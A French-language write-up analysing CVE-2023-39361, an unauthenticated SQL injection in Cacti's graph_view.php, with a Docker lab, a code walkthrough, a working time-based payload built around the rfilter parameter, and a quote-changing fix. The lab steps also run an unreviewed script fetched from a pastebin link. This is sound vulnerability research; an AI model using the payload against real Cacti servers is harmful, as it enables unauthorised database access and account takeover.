
Analyse étape par étape et configuration de laboratoire pour CVE-2023-39361, une injection SQL non authentifiée dans Cacti v1.2.24, avec une procédure d'exploitation et d'atténuation.
Cacti est un outil de surveillance opérationnelle open source écrit en PHP, MySQL/MariaDB, qui offre une interface conviviale. La vulnérabilité a été découverte en 2023 et affectait toutes les versions antérieures à 1.2.24. Cette faille de sécurité réside dans une implémentation incorrecte lors de l'insertion de valeurs dans une requête SQL. Il s'agit d'une injection SQL critique qui permet aux attaquants de modifier la base de données ainsi que d'exécuter du code à distance.
Dans cette analyse, je vais exécuter Cacti dans Docker par souci de simplicité. Tout d'abord, nous allons créer le fichier docker-compose.yml comme ci-dessous et exécuter la commande docker-compose up -d.
version: '3.5'
services:
cacti:
image: "smcline06/cacti"
container_name: CVE-2023-39361
domainname: example.com
hostname: cacti
ports:
- "80:80"
- "443:443"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: CVE-2023-39361_db
domainname: example.com
hostname: db
ports:
- "3306:3306"
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=rootpassword
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
Après avoir construit le conteneur, nous pouvons accéder à Cacti en naviguant vers http://localhost:80. L'étape suivante consiste à mettre à jour Cacti vers la version 1.2.24. Vous pouvez télécharger le script de mise à jour ici : https://pastebin.com/NfRiHLjR. Enregistrez le fichier dans le même répertoire que le fichier docker-compose.yml et renommez-le en upgrade_cacti.sh. Exécutez ensuite ces 2 commandes :
docker cp upgrade_cacti.sh CVE-2023-39361:/tmp/upgrade_cacti.sh && docker exec -it CVE-2023-39361 bash -c "bash /tmp/upgrade_cacti.sh"
Maintenant, nous sommes prêts à plonger dans le code pour voir ce qui nous permet de mener une attaque par injection SQL. Le fichier vulnérable est graph_view.php et nous avons seulement besoin d'un utilisateur invité pour accéder à ce fichier, ce qui permet à tout le monde d'exploiter cette vulnérabilité. Dans ce fichier, la fonction non sécurisée est grow_right_pane_tree().

Avant d'approfondir cette fonction, nous devons remonter pour comprendre comment elle est exécutée.
<?php
switch (get_nfilter_request_var('action')) {
//....
// De nombreux autres cas
case 'tree_content':
//..... Du code ici
// ---------
if (isset_request_var('node')) {
$parts = explode('-', sanitize_search_string(get_request_var('node')));
// Vérifie l'ancre de l'arbre
if (strpos(get_nfilter_request_var('node'), 'tree_anchor') !== false) {
$tree_id = $parts[1];
$node_id = 0;
}
//..... Du code ici
if ($tree_id > 0) {
if (!is_tree_allowed($tree_id)) {
header('Location: permission_denied.php');
exit;
}
// La fonction vulnérable est appelée ici
grow_right_pane_tree($tree_id, $node_id, $hgdata);
}
D'après l'extrait de code ci-dessus, nous pouvons voir que la fonction sera exécutée si $tree_id > 0. Toutes les étapes peuvent être expliquées comme ci-dessous :
Tout d'abord, le programme prend la valeur du paramètre action de l'entrée utilisateur et entre dans une instruction switch/case.
Dans le cas tree_content, le code prend le paramètre node de la requête de l'utilisateur. Ensuite, il divise l'entrée par le caractère -, l'enregistre dans $part et vérifie enfin si tree_anchor apparaît dans node. Si toutes les conditions correspondent, $tree_id sera assigné comme second élément dans $part. Par exemple, tree_content-1 ou 1-2-tree_content seront valides et la valeur de $tree_id sera respectivement.
À partir de là, notre URL ressemblera à ceci : http://localhost:80?action=tree_content&node=tree_anchor-1. Il est maintenant temps d'analyser la fonction grow_right_pane_tree() pour exploiter le bug.

Le paramètre vulnérable est rfilter qui est directement passé dans l'opérande RLIKE dans la clause WHERE. Ce qui le rend vulnérable, c'est que rfilter est entouré de guillemets doubles ", mais le paramètre est vérifié par la fonction html_validate_tree_vars(), qui ressemble à ceci :
function html_validate_tree_vars() {
/* ================= validation des entrées et stockage en session ================= */
$filters = array(
// .......
'rfilter' => array(
'filter' => FILTER_VALIDATE_IS_REGEX,
'pageset' => true,
'default' => '',
),
// ..........
);
validate_store_request_vars($filters, 'sess_grt');
/* ================= validation des entrées ================= */
// ........
}
Le type de filtre de rfilter est défini sur FILTER_VALIDATE_IS_REGEX et stocké dans $filters, puis $filter est passé dans la fonction validate_store_request_vars(). Plongeons dans cette fonction, cela révélera le reste de notre analyse :
function validate_store_request_vars($filters, $sess_prefix = '') {
// .......
if (cacti_sizeof($filters)) {
foreach($filters as $variable => $options) {
// ....
elseif ($options['filter'] == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$variable])) {
$_REQUEST[$variable] = base64_decode($_REQUEST[$variable]);
}
$valid = validate_is_regex($_REQUEST[$variable]);
if ($valid === true) {
$value = $_REQUEST[$variable];
} else {
$value = false;
$custom_error = $valid;
}
}
// ........
function validate_is_regex($regex) {
// ........
if (@preg_match("'" . $regex . "'", NULL) !== false) {
ini_set('track_errors', $track_errors);
return true;
}
La fonction validate_store_request_vars() est responsable de la validation des entrées utilisateur. Lorsque le type de filtre est FILTER_VALIDATE_IS_REGEX, la fonction appelle la fonction validate_is_regex() avec la fonction preg_match pour vérifier si notre entrée est valide. Selon la documentation PHP :
preg_match() retourne 1 si le
patterncorrespond ausubjectdonné, 0 si ce n'est pas le cas, ou false en cas d'échec.
L'instruction if utilise une comparaison stricte, ce qui signifie que ce n'est que lorsqu'une erreur se produit que nous ne pouvons pas entrer dans l'instruction if. La variable $regex, qui est notre entrée, est entourée de deux guillemets simples '. L'intention des développeurs est d'éviter que l'utilisateur n'injecte le guillemet simple ', souvent utilisé pour lancer une attaque d'injection SQL. Cela semble être une implémentation de sécurité robuste, mais regardons une fois de plus comment rfilter est passé dans la clause WHERE :
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
Ah-oh, l'effort de validation de l'entrée utilisateur devient inutile car rfilter est entouré de guillemets doubles ", ce qui permet aux attaquants d'injecter facilement " pour sortir de l'instruction.
Ayant compris pourquoi c'est vulnérable, nous allons maintenant approfondir la requête dans laquelle $sql_where est passé.

Après l'assignation de $sql_where, le programme appelle la fonction get_allowed_tree_header_graphs(). La fonction ressemble à ceci :
function get_allowed_tree_header_graphs($tree_id, $leaf_id = 0, $sql_where = '', $sql_order = 'gti.position', $sql_limit = '', &$total_rows = 0, $user_id = 0) {
// ......
if ($sql_where != '') {
$sql_where = " AND ($sql_where)";
}
$sql_where = "WHERE (gti.graph_tree_id=$tree_id AND gti.parent=$leaf_id)" . $sql_where;
$graphs = db_fetch_assoc("SELECT gti.id, gti.title, gtg.local_graph_id, h.description, gt.name AS template_name, gtg.title_cache, gtg.width, gtg.height, gl.snmp_index, gl.snmp_query_id
FROM graph_templates_graph AS gtg
INNER JOIN graph_local AS gl
ON gl.id = gtg.local_graph_id
INNER JOIN graph_tree_items AS gti
ON gti.local_graph_id = gl.id
LEFT JOIN graph_templates AS gt
ON gt.id = gl.graph_template_id
LEFT JOIN host AS h
ON h.id = gl.host_id
$sql_where
$sql_order
$sql_limit");
$sql = "SELECT COUNT(*)
FROM graph_templates_graph AS gtg
INNER JOIN graph_local AS gl
ON gl.id=gtg.local_graph_id
INNER JOIN graph_tree_items AS gti
ON gti.local_graph_id=gl.id
LEFT JOIN graph_templates AS gt
ON gt.id=gl.graph_template_id
LEFT JOIN host AS h
ON h.id=gl.host_id
$sql_where";
$total_rows = get_total_row_data($user_id, $sql, array(), 'graph');
return $graphs;
}
C'est ici que $sql_where est passé dans une requête. Notez que la variable est assignée 2 fois de plus avant d'être passée, à savoir $sql_where = " AND ($sql_where)"; et $sql_where = "WHERE (gti.graph_tree_id=$tree_id AND gti.parent=$leaf_id)" . $sql_where;. Combiné avec la première assignation, voici comment $sql_where est finalement créé :
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
$sql_where = " AND ($sql_where)";
$sql_where = "WHERE (gti.graph_tree_id=$tree_id AND gti.parent=$leaf_id)" . $sql_where;
Après ces 3 assignations, $sql_where ressemblera à ceci :
$sql_where = "WHERE (gti.graph_tree_id=$tree_id AND gti.parent=$leaf_id) AND ((gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '"))";
La requête dans laquelle $sql_where est passé semble complexe, mais nous pouvons créer une autre requête simple avec une structure similaire :
select * from users WHERE (TRUE) AND ((username RLIKE "' get_request_var('rfilter') '" -- quelque chose derrière qui n'est pas nécessaire))
Pour injecter avec succès notre charge utile, nous devons sortir des " et des )). Par conséquent, cette charge utile pourrait fonctionner "));SELECT SLEEP(5) --. Notre charge utile ressemblera à ceci, select * from users WHERE (TRUE) AND **((username RLIKE "'"));SELECT SLEEP(5) --. Ça a l'air bien ! Essayons sur Cacti

La raison pour laquelle le serveur n'a pas attendu 2 secondes est que nous avons provoqué une erreur dans la fonction preg_match(). Regardons à nouveau la fonction
if (@preg_match("'" . $regex . "'", NULL) !== false) {
ini_set('track_errors', $track_errors);
return true;
}
Cette fonction prend notre entrée comme expression régulière. Et ) est utilisé pour grouper un ensemble de caractères. Comme il n'est pas fermé, la fonction a retourné une erreur. D'un autre côté, si nous essayons "(());SELECT SLEEP(5) --, nous ne pouvons pas sortir des (( de la requête SQL. Cependant, il existe une astuce ici, et c'est "OR"(("));SELECT SLEEP(5) --. Laissez-moi expliquer, je mets (( entre guillemets doubles pour en faire une chaîne dans la requête SQL et j'utilise OR pour correspondre au username avant. Ensuite, le guillemet double " dans l'expression régulière est simplement considéré comme un caractère normal, c'est pourquoi nous pouvons profiter de cette fonctionnalité pour sortir de la requête SQL.

En fonction du temps de réponse, nous pouvons être sûrs d'avoir injecté avec succès du SQL dans la base de données. Il s'agit d'une vulnérabilité d'injection SQL critique. L'attaquant peut exploiter ce bug pour prendre le contrôle du compte administrateur ou même exécuter des commandes à distance.
Comme d'habitude, les vulnérabilités d'injection en général se produisent en raison de l'absence de validation des entrées. Cependant, dans ce cas, les développeurs ont appliqué des validations, mais de manière incorrecte. Pour corriger cela, nous devons simplement entourer le paramètre rfilter avec un guillemet simple ' au lieu d'un guillemet double "

Avec cette correction simple, l'effort de validation de l'entrée utilisateur fonctionnera désormais correctement. Essayons à nouveau la charge utile pour voir si c'est toujours vulnérable.

Avec la même charge utile, mais maintenant la réponse est très rapide, ce qui signifie que nous ne pouvons plus injecter de commande SQL.
De cette analyse de CVE, nous pouvons apprendre qu'une erreur mineure peut également entraîner des conséquences catastrophiques. Nous devons soigneusement revoir le code et tester fréquemment notre site pour le rendre de plus en plus sécurisé. Ceci est la fin de l'analyse, j'espère que vous avez appris quelque chose d'utile aujourd'hui. Bonne chasse !